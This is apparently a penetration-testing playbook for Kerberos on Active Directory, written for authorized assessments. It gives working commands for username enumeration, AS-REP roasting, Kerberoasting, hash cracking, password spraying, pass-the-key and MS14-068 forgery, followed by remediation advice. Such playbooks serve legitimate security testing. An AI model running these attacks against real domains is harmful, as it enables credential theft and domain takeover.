Pentesting Kerberos (port 88)
When to Use
- During authorized Active Directory assessments when TCP/UDP 88 is open (a domain controller)
- When you need to enumerate valid usernames without authentication
- When testing for AS-REP roastable accounts (no Kerberos pre-auth) and Kerberoastable service accounts
- When NTLM is disabled and you must authenticate to SMB/WinRM/etc. via Kerberos (ccache TGT)
- When validating credentials via password spraying with low lockout risk
Quick Enumeration
# Confirm Kerberos / identify the DC
nmap -p88 -sV <IP>
# Expected: 88/tcp open kerberos-sec
# Username enumeration (no creds) — AS-REQ probing
nmap -p88 --script krb5-enum-users \
--script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <IP>
kerbrute userenum -d domain.local --dc <DC_IP> users.txt
# Shodan-style discovery
# port:88 kerberos
Critical: Checks Most Often Missed
- AS-REP roasting (no pre-auth) — accounts with
DONT_REQ_PREAUTHset return an AS-REP encrypted with the user's key, crackable offline with no valid creds required. - Kerberoasting — any authenticated user can request service tickets (TGS) for accounts with SPNs; the ticket is encrypted with the service account's NTLM hash and crackable offline.
- Clock skew is mandatory — a host clock off by more than ~5 minutes causes
KRB_AP_ERR_SKEWand every Kerberos auth fails silently. Sync to the DC first. - NTLM-disabled environments — NTLM attempts return
STATUS_NOT_SUPPORTED; you must force Kerberos (-k) with a valid ccache TGT. - MS14-068 (KB3011780) — lets an attacker forge a PAC claiming Domain Admin privileges, validated by an unpatched DC. Critical if present.
- SPN/FQDN mismatch — GSSAPI/Kerberos auth requires the exact FQDN matching the host SPN, or you get "Server not found in Kerberos database." Fix
/etc/hostsordering.
How to CONFIRM: username enumeration is confirmed when kerbrute userenum prints [+] VALID USERNAME. AS-REP roastability is confirmed when GetNPUsers.py returns a $krb5asrep$ hash. Kerberoastability is confirmed when GetUserSPNs.py -request returns a $krb5tgs$ hash.
Workflow
Step 1: Enumerate (valid usernames, realm)
# Brute-force valid usernames against the DC (no creds)
kerbrute userenum -d domain.local --dc <DC_IP> /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
nmap -p88 --script krb5-enum-users \
--script-args krb5-enum-users.realm='DOMAIN.LOCAL',userdb=users.txt <DC_IP>
Step 2: Pre-auth attacks (AS-REP roast, spray)
# AS-REP roast — accounts with no pre-auth, NO valid creds needed
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -dc-ip <DC_IP> -format hashcat -outputfile asrep.hash
# Crack
hashcat -m 18200 asrep.hash wordlist.txt
# Password spray with kerbrute (low lockout impact, mind the policy)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Spring2024!'
Step 3: Exploit / Extract (Kerberoast, TGT)
# Kerberoast — request TGS for all SPN accounts (needs ANY valid creds)
GetUserSPNs.py -request -dc-ip <DC_IP> domain.local/<user>:<pass> -outputfile kerberoast.hash
# Crack service-account hashes offline
hashcat -m 13100 kerberoast.hash wordlist.txt
# Obtain a TGT for Kerberos-only auth
sudo ntpdate <dc.fqdn> # avoid KRB_AP_ERR_SKEW
netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf
sudo cp krb5.conf /etc/krb5.conf
kinit <user> # request TGT
klist # verify ccache
Step 4: Post-access / lateral movement
# Use the TGT (no password sent) with SMB/WinRM tooling
netexec smb <dc.fqdn> -k
smbclient --kerberos //<dc.fqdn>/IPC$
ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> # GSSAPI SSO (match SPN FQDN)
# Request a TGT from a hash/aesKey for pass-the-key
getTGT.py domain.local/<user> -hashes :<NTHASH>
export KRB5CCNAME=<user>.ccache
# MS14-068 ticket forgery (authorized, unpatched DC only)
# https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068/pykek
Key Concepts
| Concept | Description |
|---|---|
| TGT | Ticket Granting Ticket issued by the KDC after authentication; proves identity |
| TGS | Service ticket granting access to a specific service (SPN) |
| Pre-authentication | AS-REQ timestamp encryption; disabling it enables AS-REP roasting |
| AS-REP roasting | Cracking the AS-REP of a no-pre-auth account offline (no creds needed) |
| Kerberoasting | Requesting TGS for SPN accounts and cracking the service account hash offline |
| SPN | Service Principal Name; identifies a service instance for Kerberos |
| ccache | Credential cache file storing tickets (KRB5CCNAME points to it) |
| KRB_AP_ERR_SKEW | Failure caused by clock drift > ~5 minutes vs the DC |
| MS14-068 | PAC forgery flaw allowing privilege escalation to Domain Admin |
Tools & Systems
| Tool | Purpose |
|---|---|
| kerbrute | Fast username enumeration and password spraying via Kerberos |
| nmap krb5-enum-users | Username enumeration NSE script |
| impacket GetNPUsers.py | AS-REP roasting |
| impacket GetUserSPNs.py | Kerberoasting (request TGS for SPN accounts) |
| impacket getTGT.py / -k | TGT acquisition and Kerberos auth for other tooling |
| netexec / crackmapexec | krb5.conf generation, Kerberos auth, spraying |
| kinit / klist | Request and inspect TGTs (MIT Kerberos) |
| hashcat | Crack $krb5asrep$ (18200) and $krb5tgs$ (13100) hashes |
Common Scenarios
Scenario 1: AS-REP Roast Without Creds
A user list reveals an account with pre-auth disabled. GetNPUsers.py -no-pass returns a $krb5asrep$ hash cracked offline, yielding the first valid domain credential.
Scenario 2: Kerberoast to Domain Escalation
With any low-priv credential, GetUserSPNs.py -request returns a service account's $krb5tgs$ hash. The weak service password cracks, and the account turns out to be a member of a privileged group.
Scenario 3: Kerberos-Only SMB Access
NTLM is disabled (STATUS_NOT_SUPPORTED). After syncing the clock and running kinit, netexec smb <dc> -k authenticates with the ccache TGT and lists shares.
Scenario 4: Password Spray
kerbrute passwordspray against an enumerated user list finds one account using a seasonal password, providing initial domain access with minimal lockout risk.
Output Format
## Kerberos Finding
**Service**: Kerberos (Active Directory KDC)
**Severity**: <Critical|High|Medium>
**Host**: <DC_IP>:88
**Realm/Domain**: <DOMAIN.LOCAL>
### Summary
<What was found: enumerated users, AS-REP roastable account, Kerberoastable SPN, MS14-068, weak password>
### Affected Accounts
| Account | Issue | Crackable | Notes |
|---------|-------|-----------|-------|
| svc_sql | SPN set (Kerberoast) | yes | weak password recovered |
| jdoe | no pre-auth (AS-REP) | yes | DONT_REQ_PREAUTH set |
### Evidence
- Command: <GetUserSPNs.py / GetNPUsers.py / kerbrute>
- Output: <$krb5tgs$ / $krb5asrep$ hash prefix, VALID USERNAME lines>
### Recommendation
1. Enable Kerberos pre-authentication on all accounts
2. Use long random passwords (gMSA) for service accounts with SPNs
3. Patch MS14-068 (KB3011780) on all domain controllers
4. Monitor for anomalous TGS requests (Kerberoasting) and AS-REP roasting
5. Enforce a strong password policy and account lockout thresholds